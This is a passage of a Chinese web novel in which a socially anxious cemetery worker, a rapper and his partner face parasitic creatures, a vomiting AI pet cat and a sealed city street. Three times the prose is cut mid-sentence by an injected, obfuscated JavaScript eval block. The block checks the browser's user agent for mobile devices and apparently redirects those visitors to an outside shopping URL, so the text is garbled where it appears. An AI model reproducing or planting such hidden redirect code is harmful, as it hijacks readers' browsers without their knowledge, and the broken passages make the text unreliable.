“都什么时候了,你俩还想着练舞蹈!?这舞有什么可跳的,你和Prayer都魔怔了吗!!?” “有什么可跳的!!到底有什么可跳的!!!!” 安浔歇斯底里地吼着,泄愤般甩起手里的荧光棒。 咔、咔、咔—— 只见那把唐刀在他手中爆发出耀眼的金光,冲撞而来的齿蚯在空中异样地一僵,那刀毫无章法地挥动着,竟然每刀都诡异地歪打正着。 与其说是安浔砍到的。 不如说是齿蚯自己撞上去的。 啪、啪、啪—— 在那削铁如泥的刀刃下,齿蚯像被片出的刺身,一片片丝滑地落向了地面。 陈羿川:“…………?” 就这么砍死了? ……拼刀刀最后几刀全让你砍了? 轰—— 洪流般的泥沙已近在咫尺。 山间的震荡越发剧烈。 来不及细思,陈羿川慌忙把昏迷的严祈明扛上车,又连拖带拽地扯过还在气愤挥刀的安浔。 “我不跳了,安浔!” “冷静。冷静!啊啊啊我不跳了!我真不跳了!!!” “……你也别跳了!!走啊!赶紧上车!!!” …… …… 所幸最后三人有惊无险地把车开到了下方的分支路口,没有被山体滑坡波及。 小电驴停在了路边,安浔一下车就双腿发软地瘫坐地面,浑身都被冷汗浸湿了。 吓、吓死了…… 他盯着不远处被泥土和岩石完全覆盖的斜坡,仍旧心有余悸。 再晚个十几秒,他们三人都会被那庞大的泥沙吞噬。 山间行动不便,又人流稀少,他们短时间内根本无法迎来救援,很可能会深埋地底,因缺乏氧气而窒息身亡。 真就省去了选墓地,一键入土。 陈羿川喘了几口气,起身去检查了一下呈“n”状横趴在车座上的Prayer。 “他怎么样?”安浔问。 陈羿川:“还行,死不了。” “不过他也是够衰的,摔就摔吧,还刚好撞脑袋了。希望人没撞傻……” 陈羿川给Prayer搬了下来。 从小黄鸭外套里取出一个便捷式的小型急救包,用镊子夹住一团酒精棉,绕着Prayer头顶的伤口开始消毒,又熟练地用绷带在他脑袋上绕了几圈。 安浔看得有点愣神。 “……你还随身带急救包?” “嗯,因为出勤时极有可能遇上意外,这些东西关键时刻能救命。” 陈羿川没抬头,双膝跪在地面,让Prayer的脑袋也枕在自己的大腿上,处理着其他零碎的小伤口。 安浔:“……” “你们到底在录制什么节目啊?” 差点忘了这人看不见了。 陈羿川两眼一闭:“这你别问,要保密的。” “哦哦,好的。” 安浔点点头,乖巧闭嘴。 随后二人陷入了沉默。 山间仅剩呼啸的凉风,偶尔有几颗碎石混着齑粉,在布满裂纹的地面滚动。 安浔:“。” 救命,又安静下来了。 他看向正在低头发呆的陈羿川,在对方眼中捕捉到了明显的忧虑,于是努力张开嘴: “我、我刚才好像听到……Prayer以前是你上级?你俩签的一个公司吗?” 说完,安浔又有点后悔。 救命。怎么开始打探别人的过去了,刚认识几天啊,太没礼貌了! “是。”陈羿川应了一声,看起来不甚在意。 “我高二时加入了他所属的‘公司’。那会严祈明还是个很糊的小歌手,因为吃不上饭找了许多兼职,‘公司’这口饭给他的最多,他很有天赋所以职级也比较高。我是新人那会,他负责带我,算是我的入门老师。” 原来他们还有这层关系。 不过根本看不出来。这俩人去麟溪山的路上吵了一路嘴,一个为老不尊,一个为幼不敬,感觉凑一块时年龄加起来不超过八岁。 “嘶……” 陈羿川腿上的人发出一声细微的痛呼。 二人的注意力立刻落向Prayer。 只见Prayer蹙着眉,有点费力地睁开眼,隔了半晌才张开嘴,声音嘶哑:“……趁我睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569271|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着时说什么坏话了?” 陈羿川当场翻起白眼,并很嫌弃地把人往腿外一推:“说我很遗憾你没摔傻。” “……靠!” Prayer滚回地上,捂着脑袋满脸痛苦地坐起身,“小陈你就这么对待伤患?我本来没事的,现在被你摔傻了!赔钱!” 陈羿川冷笑,朝他竖起两根中指。 Prayer不甘示弱地将十根手指全部张开。 陈羿川:“你这是什么?” Prayer得意地哼哼起来:“我十个,你两个。我比你多,你输了!” 安浔:“……” 说多了。两个人加一起不超过三岁。 “那个……” 安浔弱弱地举起手,“我们现在怎么办?还有……Prayer你的头是不是,最好去医院处理一下?” “已经应急处理过了,我后面会找更专业的人帮忙。” 严祈明摆摆手,又瞄向陈羿川,小声问道:“齿蚯呢?” 陈羿川耸了下肩膀,朝安浔的方向一抬下颌,用只有他们两个能听见的音量回应: “他砍死了,用我的[逆时]。” “噢。” “……你不惊讶?” “那有啥,他昨天刚手撕了一个。” 陈羿川:“?” 他正要继续追问些什么,却见严祈明已站直身子,向安浔招呼着。 “安浔,你先跟我们下山回市区吧。虽然现在山体滑坡停了,但不见得这山上就安全了,还是赶紧撤离为妙。” 安浔点点头,正准备返回车边,却突然想起一件事—— “等等。” “走之前,我先确认一下我同事的安全……” 今天程蔼虽然病假不在,但阮姐和章扬都在墓园呢! 发生了这么严重的山体滑坡,也不知道墓园内部有没有受影响,得赶紧确认一下他们的安全。 安浔用微.信电话呼叫了阮明婕,铃声就响了几秒,电话很快就被接通了。 “喂,小安,怎么了?” 听见手机中传来熟悉的女音,安浔总算松了口气: “刚才麟溪山出现了山体滑坡,连后山的那片树林也受到了影响。阮姐你和章扬人没事吧?” 电话另一边的阮姐微妙地停顿了一下。 “噢……我俩都没事啊。” “刚才发生山体滑坡了吗?照理来说动静应该挺大的,但我居然没听见。不过你放心,墓园里面没受什么影响,建筑也都完好。你和客户呢?” 安浔:“我们都很安全,但现在不在墓园,一时半会应该回不去了。” 阮明婕:“那你就先回市区吧。这么大的事,估计墓园暂时也没法对外营业了。” 两个人又互相确认了下情况,最后安浔总算放心地挂掉电话。 “我同事都没事。” 他扭头看向身后的二人,“大概运气比较好吧……麟溪墓园没受到山体滑坡的影响。连里面的建筑都没受到损害,算是不幸中的万幸吧。” 严祈明点点头,却还是用探究的目光打量着安浔已经息屏的手机。 虽然在墓园时没能见到安浔的其他同事,但安浔手机的听筒音量挺大的,他通话时电话另一边说了什么,严祈明全都听得一清二楚。 是个女人。 说话逻辑很清晰,光听声音判断不出异样。 但情况很可能和那个小黄毛一样,都已经被蚀体寄生了。 “你的这几个同事,从上周开始,就一直住在麟溪墓园吗?”严祈明问。 擎安市遭遇蚀体入侵是5月30日。也就是上周三。 麟溪墓园基本在同步时间,也就是当天的下午时段,遭遇了蚀体入侵。 如果安浔的同事一直都在墓园住宿,那可能都已遭遇不测。 安浔思考了一会,回答道:“不啊。” 对面的两名青年一怔。 “我有个同事,就是我们单位的销售,上班三天打鱼两天晒网的。他今天和昨天都没来,说是生病了不舒服……” 安浔盯着二人越发僵硬的表情,小声问道:“呃……有什么问题吗?” 陈羿川目光锐利,正色道:“你那个同事,叫什么名字?” 安浔:“程蔼。” 28. yue (28) A国夜晚的街道车水马龙。 高楼大厦鳞次栉比,迷幻的霓虹灯牌与大型户外LED屏幕散发的光芒交相辉映,街道上的行人衣装华丽,路边的高奢店铺透出纸迷金醉的气息,一同构筑着这座都市的繁华光景。 高空中的某块落地窗前,倒映一道漆黑的身影。 一名身着风衣的男人伫立在窗边,静静地俯瞰着外界的街景。 叮铃铃—— 电话响了。 男人从口袋掏出手机,瞥了一眼手机界面上备注的名字——“炫彩蘑菇”。 他按下接通键,将手机听筒搭向耳边。 “喂。”电话的另一头,传来一道有些低沉的嗓音,“我失手了,两个清缴者都还活着。” 男人漫不经心地弯起嘴角,略带讽意地嘲弄道: “区区两个齿蚯就想一网打尽他们,你是瞧不上A级清缴者,还是太看得起齿蚯?” 电话那边沉默了片刻。 “有一个差点就死了……如果不是安浔在场。” 男人笑了起来。 “自己看着办吧,那两个清缴者死不死都不重要,别让他们影响计划就行。过程不重要,我只在乎结果。” 电话内传来声音。 “好。我会妥善处理的……” “还有一件事。溯魂已经被清缴者收容了,和预想的情况差不多,它应该把知道的都说出去了。” “行。”男人随口应道,“你继续办事。收集完这边的实验资料,我就回C国。” 男人挂掉了电话。 他滑动着手机屏幕,进入某个绿色的app图标,熟练地点开聊天界面里唯一的用户。 上一次的对话,还停留在两年前。 他盯着看了一会,有些诧异地发现,这个用户最近竟然更新了一条朋友圈。 时间就在前天,是明显添加了滤镜还精心修过图的一桌饭菜。 每道菜都有仔细摆盘:番茄牛腩、蛋黄鸡翅、蚝油生菜,还有两个用小碗盛装的西米露,应该是椰奶的。 ……两个碗? 他出神地望着这条朋友圈下面的点赞键,缓缓伸出大拇指。就在指腹即将触碰屏幕时,他又踟蹰了一会,最终还是收回手。 “算了。”他自言自语着。 “回去之后再说吧……” …… …… ———— 中午十一点 安浔拖着疲惫的身躯走出电梯,朝着自家入户门走去。 在麟溪山上,Prayer和陈羿川问完话,他们就马不停蹄地离开了。 回程的路上Prayer和陈羿川还是搭了他的便车。不过陈羿川在山脚下就下车了,似乎不准备回市里。而Prayer也是一进市区就没影了。 简单总结。 就是这俩人今早从哪上车的,就在哪下车了。 也是有够奇怪的。 原本安浔还想给Prayer顺路捎去医院,结果对方拒绝的很果断,说是自己身边有更好的医生。安浔也不好再说什么,和对方道别后就骑车回了鑫和小区。 今天也是上班上一半就回来了。 话说回来……最近上班总感觉鸡飞狗跳的,好像突然冒出了许多乱七八糟的事。 安浔叹了口气,用钥匙打开门。 门拉开的一瞬间,门缝内传来一阵噼里啪啦的声响。很混乱,感觉里面有人在手忙脚乱地收拾着什么。 安浔:“……?” 但他是独居,唯一能在家里闹出动静,只有小圆。 他赶忙冲进门,连鞋子都没脱就跑向客厅,惊慌道:“小圆!!发生什么事……情……了。” 安浔:“。” 屋内内散发着一股奇异的香味。 而客厅地面一片狼藉,某种滑腻的彩虹色液体漂浮在地板上方,那些液体像未完全混合的颜料,还隐隐散发着光亮。 而他家的猫猫布丁正软趴趴地瘫在地上,还被一根倒下的拖布杆子压在下面,像被擀面杖擀平的饼皮。 安浔闭了闭眼。 原来……即使是AI小猫也避免不了拆家这个环节吗? “小圆。”他轻轻开口。 地面的小布丁一动不动。 “……我知道你能听见,起来。” 小圆果然不装死了,Q弹的小耳朵抖了抖,一副非常心虚的样子从拖布下方钻了出来。 安浔指指地板上的液体,问:“这些都是什么?” 小圆老实道:“胃内容物。” 想了想,又有些委屈地补充了一句:“昨晚吃的实在太多了,果然消化不掉。对不起喔,我好像还有点……” 小圆的声音戛然而止。 它的身体抖了抖,像被放在餐盘里疯狂晃动的布丁,几秒后又痛苦地弯下腰,w型的小猫嘴喷涌出一片彩虹:“呕呕呕呕呕呕——” 地板上的彩虹液体更多了。 安浔:“???” 这什么? 机器人吃多了还会呕吐?? 不对…… 机器人不用吃饭!难道是内置电池漏液了!? 安浔盯着地上那根拖布。 看样子,这是小圆从卫生间搬出来的……难道是发现自己漏液了,想用拖布擦掉,结果刚好被他撞见了? 小圆吐完了。 黑紫色的布丁团子虚弱地倒在地上,看起来缩水了一整圈,连半透明肚皮下细碎的星光都黯淡了不少。 并且还试图卖萌,装作无事发生:“你今天回来好早喔,还不到中午……又提前下班了嘛?” 安浔没说话,而是把小圆从地上捞了起来,很仔细地上上下下检查着小圆的情况。 到底哪里出问题了? 怎么漏液这么严重?? 可他看了好半天,也没发现这款陪伴型AI机器人该有的金属部件,整个小圆都被那层柔软的胶质半固体包裹住了。他捏了半天也没发现异样,像酣畅淋漓地玩了一把史莱姆假水。 “……”安浔皱了皱眉。 液体都是从嘴巴里冒出来的,难道要检查嘴巴? “小圆,我看下你的情况。” 他有点紧张地扒拉开那张闭合的小猫嘴,还打开手电筒照了照。结果口腔内只有一片深不见底的漆黑,光芒在照进去的瞬间便消失了,仿佛是被吞噬了。 安浔犹豫了一下了,还是将食指探进了小圆的嘴里。 小圆抖了抖:“唔……” 小圆嘴巴里的触感,很奇怪。 安浔本以为自己会摸到金属,但实际上他什么都没摸到。里面的温度比外面冷的多,还有一阵凉风剐蹭着他的指腹,像在吹干手器。 “唔唔唔……” 小圆抖的更厉害了,连声音都在发颤:“不行。安浔,不可以这样……我会忍不住要……” 吸溜~ 有什么湿湿黏黏的东西,轻舔了一下安浔的指尖。 安浔:“?” 他触电般迅速抽出了手,后背冒出一片鸡皮疙瘩。 那是什么? 什么东西啊??? 而小圆的嘴角悄悄上翘0.1个像素点,神情餍足,却在一秒钟后再度弯身: “呕呕呕——” 又yue出一片彩虹。 安浔:“…………” 啊啊啊啊啊啊怎么更严重了! 他果断掏出手机,连忙点开某购物app,翻出一周前的购买记录,点进了商家的聊天界面,飞快编辑着消息: [你好。请问我的AI桌宠突然严重漏液,这是什么原因导致的?] 点击发送之后,气泡旁边的小圈转了转,突然变成了一个红色感叹号—— 信息发送失败。 安浔重新发送。 信息发送失败。 再次发送! 失败。 “……?” 安浔盯着满屏的感叹号,先检查了一下自己的流量开没开,又切进微.信,给Prayer发了张小狗发疯的表情包。 表情包很丝滑地就发出去了。 Prayer还秒回给他一个:“?” 安浔没理会,切回商家聊天页面,又一次点击发送。 嘀。 红色感叹号再度倒映在他的眼底—— 信息发送失败。 安浔:“???” 到底什么情况! 来人救救啊! 他家猫好像有一点死了!! 叮铃铃—— 手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569272|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机铃声在这时响了。 安浔瞥向屏幕,来电人是Prayer。 安浔匆忙按下接通键,第一时间说到: “Prayer,我先问你个急事。猫漏液了该怎么办!?” 听筒内的声音沉默了几秒。 并试图分析安浔想表达的意思:“你是想说,你家里养了猫,但这只猫不会定点上厕所吗?” 安浔:“……” “不好意思,我是说是机器人呕吐……不对。机器人漏液了该怎么办?” Prayer:“找人维修呗,一般不都有售后吗。机器人你从哪买的?” “网购的。” 安浔低头看了看怀里几欲昏厥的布丁团子,叹息道:“但我刚才联系商家,不知道为什么消息一直发不出去。我还以为是我网络不好,但给你发消息一点都不卡顿……” 电话另一边。 严祈明正靠在临时办公点的沙发上,两条长腿肆意大敞着。 他头顶的伤已经经过了特殊处理,那块原本鲜血淋漓的豁口基本愈合了,新长出的皮肉泛着鲜嫩的红。 好在他携带了[弥合]的异迹。 这也是防控中心生产的一次性道具,可以为人进行一次快速疗伤。不过这种异迹比较罕见,还没有投入大批量生产。 严祈明思考了一下该如何回复安浔。 无论如何竭力隐瞒,唯独消息不能发送到外界这件事,是他无法插手的。 毕竟,[茧幕]连电信号都会拦截。 现在擎安市民虽然还能上网,但这更像一个全市范围的大型局域网。市内的人能够互相联络,却无法联络[茧幕]之外的任何人。 现在提醒安浔把网购品邮走可不行。 快递根本邮不出去。也不会有快递员上门取快递。 而且…… 严祈明蹙眉,视线落向对面亮着光的电脑显示屏。 “对了。”电话里传来安浔局促的声音。 “你给我打电话……是有什么事吗?” 严祈明的屏幕上,密密麻麻地罗列着某个人的信息: 档案的姓名栏写着“程蔼”两个字。 旁边附带的蓝底证件照上,男人梳着标准的三七侧分,戴着方形圆角的黑框眼镜,眉眼还算标致,微笑时嘴角弯起了标准的四十五度,很商务,感觉快被销售工作腌入味了。 他赶回擎安市后,第一时间就搜罗起了“程蔼”这个人。 屏幕内还有一些监控截图。 5月30日下午四点,程蔼驾车驶入了东七路街,那之后就再也没出来。 因为那天的下午五点半,[茧幕]就在东七路街降下了消化液,一层肉红色的薄膜将街道笼罩。所有置身东七路街的市民,都再也没能离开。 但是就在五分钟之前。 严祈明布控在东七路街附近的下属突然电话汇报,有个年轻男人靠近了东七路街的入口。并且无视了他们的警告,直接踏入了街巷中。 下属传来了当时的现场画面。 一个穿着黑色风衣,双手插兜的男人。照片一放大,高清的五官和屏幕上的证件照完全吻合——就是程蔼。 这就是严祈明为什么急着给安浔通电话。 他今天得进一趟东七路街。 那里的屏障是单向的,人一旦进去了就出不来。若他还想活着出来,就需要安浔在身边。 但……要怎么和安浔说? Prayer:“其实,我下午想去趟东七路街。” 听见对方的话后,安浔握着手机的指尖颤抖了一下。 像被触动了某根神经,他紧张地抿起嘴唇,听筒内果然传来了预料之中的发言: “这样吧。”Prayer说。 “我听说东七路街有大型电器商城,周边有不少维修店铺。要不你带着漏液的猫……机器人跟我一道去看看?刚好搭个伴。” 安浔:“…………” 谁懂啊。 他前几天刚发过誓——再去东七路街他就是狗! 他低头戳了戳小圆的肚子。 小布丁应激似的,痛苦地蜷缩起身子,边抖边朝旁边歪头,又yue出一口彩虹。 安浔闭了闭眼。 算了。 狗就狗! 29. 全体目光向我看齐!(修) (29) 下午两点 安浔骑着小电驴准时出现在东七路街。 他在街巷的入口处看见了Prayer。 Prayer头顶戴着蓝色的运动发带,刚好遮住了伤口的位置,还换了身与发带相衬的新潮外套,手边拎着一个牛皮纸手提袋。 “下午好啊。” Prayer笑眯眯地朝他走来,视线在安浔身上逡巡了一会,“你的机器人呢?” 安浔指指身后的双肩背包。 “在我的包里。它好像没电了,我就先收起来了。” 其实安浔也不确定是否没电了。 中午和Prayer通完电话后,小圆就虚弱地伏在他的手心。虽然不再呕吐了,但也没了动静,不管怎么戳都没反应。 所以他猜小圆已经关机了。 这样也好,免得出现更多故障。 后面他把家里收拾了一通,浮在地板上的彩虹色黏液多到诡异,几乎蔓延了整个客厅。安浔洗了很多遍拖布才把地板清理干净。 等他擦到后面,将彻底染成彩虹色的拖地水倒进马桶时,终于察觉到一丝异样—— 小圆仅有存钱罐大小。 按照这个体积来讲,内置电池漏液……真的能漏一客厅吗? 但如果不是漏液,那些彩虹色液体又是什么?……胃内容物? 可是,小圆是AI啊。 它连饭都不用吃,哪里来的胃! 大概电池损毁比较严重吧,真的要好好维修一下了。 安浔来之前特意确认了一下,东七路街还真有这款桌宠机器人的品牌门店。他下单时买过保修,出示票据就能在线下免费维修。 但东七路街这个地方很邪门,曾对安浔的身心造成了一亿点暴击,他现在还有点后怕。 安浔甩甩脑袋,有点紧张地看向Prayer,试图转移注意力。 “对、对了。” “你一会要去东七路街做什么呀?你的伤口怎么样了?上午我看还挺严重的……” “问题不大,我有专业的处理方法。”Prayer耸了下肩。 他没有回答另一个问题,而是将手中的牛皮纸袋递向安浔,神秘兮兮道:“这个袋子,你打开看一下。” 安浔接过牛皮纸袋,有点惊奇地将手探入其中,发现里面放着一款造型经典的飞行员墨镜。 “这是……墨镜?送我的?” 他上下端详了一会,有点茫然地看向Prayer,却见对方已经抬腿一跨,无比自然地坐在了后车座。 “走吧,先进街里。一会我再和你解释。”Prayer说。 …… …… 和上次造访一样,东七路街内,依旧人山人海。 老旧的巷子内挤满了人,街边的小店铺生意红火,门口排满了顾客。 安浔刚把车开进巷子,车子就没有了行进的空间。人在这里走动都摩肩接踵,他只好把小电驴停靠在路边。 呼。 他悄悄吐出一口气。 人只要一多,他的神经就会不受控制地紧绷起来。 安浔反复深呼吸,做足了心理准备,正欲下车,身后的Prayer却叫住了他: “安浔,你把刚才的眼镜戴上试试。” 安浔乖乖照做。 眼镜的造型很帅,镜片深黑,戴上之后视野依然清明,只是亮度变暗了一些。 Prayer:“平时玩游戏吗?” 安浔:“还好,最近玩的比较频繁。” “那就行。你摸一下右边的眼镜腿内侧,有个按钮,按一下试试。” 安浔根据Prayer的指示摸索了一会,成功按下按钮后,眼前的镜片突然一亮—— 白光乍现。 安浔差点被闪瞎。 耳边紧跟着响起了无比经典的windows启动音。 安浔:“这是……” “这其实是个还处于试用阶段的AR空间计算机眼镜。”Prayer解释道,“有声音正常,骨传导过去的。你四处看看,有没有什么不同。” 眼镜开机了,但就和刚才看见的一样,周边仍是实景。 安浔原地转了一圈。看向身后时,一片触目的肉红色毫无预兆地撞入眼帘—— 东七路街的入口处,有一层肉红色的薄膜。 体表覆盖着黏腻的透明液体,上方细密交错的脉络此起彼伏着。像没炖熟的红烧猪皮,里面还混着扭来扭去的寄生虫。 “!!!” 这画面实在有点骇人,像什么恐怖游戏的CG动画,血腥又猎奇。 安浔摘下眼镜反复确认。 但眼镜一摘,那东西就消失了,看来仅存在于眼镜之中。 他咕咚咽下一口口水,头皮发麻。 但还是重新戴上眼镜,指了指街口,弱弱地问:“……那是什么?” “看见了?” Prayer一脸淡定:“其实我邀请你来,是想请你帮个忙。” “这是节目组品牌方送来的处于测试阶段的AR游戏眼镜,想多找一些人测试一下,我觉得你很合适。在眼镜中,游戏场景会结合实景变换,从现在开始你周围会多一些由游戏生成的‘虚拟怪物’——你看见的那个就是,但并不影响你实际行动。” 严祈明又掏出一副款式相仿的墨镜,默默扣在脸前,观察着安浔的反应。 ……信了? 严祈明其实有点紧张。 出发之前他考虑了许多办法。 再三思索,严祈明还是决定把这副可以让普通人观测到蚀体的眼镜拿给安浔。 这副眼镜是由蚀体防控中心生产的特制设备,有摄影功能,一般被用于记录特殊行动,是其他被困在擎安市的清缴者携带过来的。 起初他们能第一时间说服市领导与清缴者合作,也是这副墨镜的功劳。 东七路街被[茧幕]包裹的第一张俯瞰图,也是由他的同僚佩戴这副眼镜在高空拍摄的。 在进入东七路街之前,严祈明完全不清楚内部情况。 普通人看不见蚀体,即使进入东七路街也很难发挥作用,而其他清缴者也有各自负责的辖区,所以严祈明只能独自前来。 要想确保安浔的安全,必须让安浔“看见”。 所以,他只能胡扯游戏测试这种理由…… 安浔看起来有点懵。 他指了指严祈明的墨镜,局促道:“倒是挺有意思的……那你现在也能看见吗?” “能啊。”严祈明毫无负担地点了下头。 他一直都能看见蚀体。 但和这副墨镜无关。安浔脸上的观测墨镜目前只有一副,他戴的就是普通墨镜。 但做戏要做足全套。 他总得想办法让安浔相信,他们其实是在沉浸式体验虚拟游戏。 “我们先去维修店吧。”严祈明尽量保持着轻松的口吻,“东西检修可能需要一些时间,先过去问问情况。” 他们并肩穿梭在街巷。 眼镜为安浔的世界带来了全新的变化。周围不仅有喧嚣的人群,还多了一些更加新奇的事物—— 几粒微小的淡蓝色光点从安浔的眼前飘过。 他仔细观察了一会,才发现那其实是正在游动的小水母,很漂亮。 安浔不由自主地伸出手,轻触半空。 没有什么实感。 但水母却受惊似的飞快飘走了,触手还愤怒地朝他的指尖一踢。 “啊。对不起……” 安浔下意识地道歉。 说完又反应过来,这好像只是AR眼镜生成的虚拟形象。 安浔:“……” 算了。保持礼貌。 前往电器城的路上,他们途径了一家馄饨摊。 肉馅与小麦混合后鲜香扑鼻,热腾腾地四溢向车水马龙的街道。 安浔反应了一会,这才想起上次来采购时,有个乞丐曾把他拉进了馄饨摊,不仅叽里咕噜胡扯了一通,还骗走他二十块钱。 好像就是这个馄饨摊。 “好吃——!” “呜呜,好好吃!我好幸福!!” 不远处,一阵发自肺腑的感慨吸引了安浔的注意力。 有点熟悉的声音。 安浔一转头,发现说话者就是上次来找他蹭饭的乞丐。 那人坐在馄饨摊位上大快朵颐着,每用汤匙舀出一块馄饨送入嘴中,就要夸张地大吼一声。如果这是美食番剧,下一秒就该快进到爆衣环节了。 ……有这么好吃吗? 而且乞丐连坐的位置都和上次一模一样。 “先生,来碗馄饨吧!” 摊位上的服务员注意到他的停驻,立刻热络地凑了过来。 安浔的身体瞬间绷紧。 他偷感很重地环顾起四周,发现服务员叫的就是他。 服务员鼓励地盯着他:“快进来尝尝吧,先生!人要吃饱饭,才会感到幸福啊!” “不、不了……” 安浔连忙拒绝。 但服务员仍旧孜孜不倦地招揽着:“来嘛,来尝尝呀~” “真的不了,我已经吃过午饭了。” 安浔惊慌地摆摆手,正要顺势离开,却见服务员一个箭步冲来,不由分说地抓住他的胳膊—— 安浔:“!?” 太弱小了,没有力量。 他像即将被送入屠宰场的牛。 即使拼命挣扎,也无法改变被送到刀俎前的结局。服务员手劲大的惊人,完全不像一米六女性能爆发出的力量,地面没铺石砖的裸.露沙土上,都被磨蹭出安浔帆布鞋的拖痕。 可恶。 安浔急的直蹬腿。 你以为社恐被强买强卖时,就不会和黑心商家当街发火吗!? ……不会^q^。 如果他被看扁了,只会扁扁地走开。然后半夜躲在被子里悄悄抹眼泪,再用枕头闷死自己。 “……”安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569273|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浔决定放弃挣扎,反正争不过。 就在快被彻底拖进摊位时,他突然注意到一丝异样—— 服务员的后脖颈处不知为何,连接着一根不显眼的白色丝线。 丝线细长而柔软,一直向上延伸到了天空,不知尽头在何处。 这是什么? 啪。 一只指节分明的手掌按住了服务员的肩膀。 安浔扭过头。 只见Prayer不由分说地扯开了服务员的手臂,迅速撤回一个安浔。 “不好意思,我朋友还有事。”Prayer笑容很得体,“有机会我们一起来吃。” 服务员眼睁睁地看着安浔被抢了回去。 她的眼肌不自然地抽动了一下,神情逐渐狰狞。她的眼白遍布着猩红的血丝,深黑的眼仁紧追不舍着安浔,视线直白而贪婪…… 短短一秒间,风云变幻。 气氛瞬间紧张了起来,仿佛有某种事物呼之欲出,一点即燃。 Prayer戒备地将手伸进口袋,随时准备掏出什么。 但最终,什么都没发生。 服务员只是扬起唇角,朝二人客客气气地回复: “好的,先生。” “欢迎二位下次光临。” 他们重新回到街上。 安浔如释重负地呼出一口气:“谢、谢谢你。” “她刚才直接给我拽进去,我人都吓傻了……” “没事。我刚才走了一会才发现你人没影了,是我没注意。” Prayer一边安抚着他,一边掏出了几根粉色荧光棒,塞进安浔的手中。 “这些荧光棒是和游戏关联的。”Prayer指了指脸上的墨镜,说得郑重其事:“如果再遇到刚才那样的事,你就把荧光棒折断,有奇效。” 安浔:“?” 荧光棒能有什么奇效? 握在手里当街跳舞,把自己扭成奇行种,用他没能驯服的四肢展现艳压群芳的舞技……然后吓死所有人? 安浔差点乐了。 “行。”他还是礼貌地收好了这些荧光棒,“我下次试试。” “……咦?” 一道女音突兀地横叉进二人之间。 他们一同扭过头。 只见一个扎着双马尾,穿着JK小裙子的女孩盯着他们,双手捂嘴惊讶道: “你是Prayer吗?” 她飞快冲到Prayer身前,眼冒金光:“是吧!你是Prayer对吧!我超喜欢你的歌!!” 原来是小粉丝。 然而,Prayer的反应却出乎意料的冷漠。 不仅向后退开一步,与之拉开足够安全的距离,还态度谨慎地回应:“是吗。谢谢你的支持。” 他扯过安浔,扭头就要走,身后竟又响起一道惊喜的喊叫:“Prayer!天呐!真的是Prayer!!” 旁边的路人闻声驻足。 “谁?Prayer?他来擎安了?” “真的是他!真人比电视上还帅!” 人群蜂拥而至。 越来越多的人凑了过来,短短几秒的功夫,Prayer就被围得水泄不通。 “Prayer!!!” “啊啊啊Prayer!我喜欢你!!” “签名!麻烦签在我的衣服上!!” 安浔在人潮中被推推挤挤,一时间被拱到了最外围,只能看见一群人的后脑勺。 和Prayer相处了几天,但这家伙性格方面毫无架子,他都快忘记对方是个小有名气的rapper了。 但是…… Prayer的热度有这么高吗? 如果安浔没记错,Prayer大眼仔的粉丝有小几百万。这个粉丝基数绝对不糊,但C国浩浩荡荡十几亿人,应该不至于随便上个街,就被一堆路人逮住。 根据Prayer刚才面对粉丝疏离的模样,安浔判断Prayer不喜欢这种事。 毕竟rapper嘛…… 都比较有个性,应该会直截了当地拒绝签名吧? 只见不远处的Prayer突然抬起头。本以为他会面无表情地拒绝所有人,结果……他竟在狂笑! 嘴角疯狂上扬着,比AK还难压!! Prayer面色红润,笑得满面春风,甚至激动地大手一挥: “姐妹们不着急,一个个排队慢慢来啊!都有都有,所有人都有亲签!” 安浔:“?” 还没结束。 他又热情四射地招呼起现场的所有人,高声呼喊着:“全体目光向我看齐,我宣布个事——” “我免费了!!” “我将在这里无偿为大家献唱签名!给所有人带来幸福!!!” 粉丝们爆发出热浪般的尖叫。 唯有安浔两眼一黑:“……” 不是。哥们。 你怎么也幸福上了?????????? 30. 跑吧(修) (30) 安浔在原地站了一小会,祈祷Prayer能觉醒内心中的良知。 可惜他错付了。 Prayer已经完全沉浸在随地大小唱中,不知天地为何物了。 他甚至拿到了隔壁商场促销宣传专用的麦克风,当场来了一段freestyle,试图展现自己精湛的饶舌技巧。 周围看热闹的人越来越多,原本只有年轻的女孩在尖叫鼓掌,这会连提着菜篮子的大爷大娘们也好奇地凑过来了。 “小伙子——” 有个腿脚不便的奶奶拄着拐杖,慢吞吞地朝安浔走来。 奶奶颤颤巍巍地将拐杖举起,朝Prayer的方向指指:“那边搞什么活动呢,是有大师在念经作法吗?” 安浔沉默了几秒。 却听远边Prayer一个彪高的爆破音,劣质的麦克风直接炸麦了,刺耳的噪音差点给他送走。 “……” 安浔看向老奶奶,笃定地点点头:“嗯。” 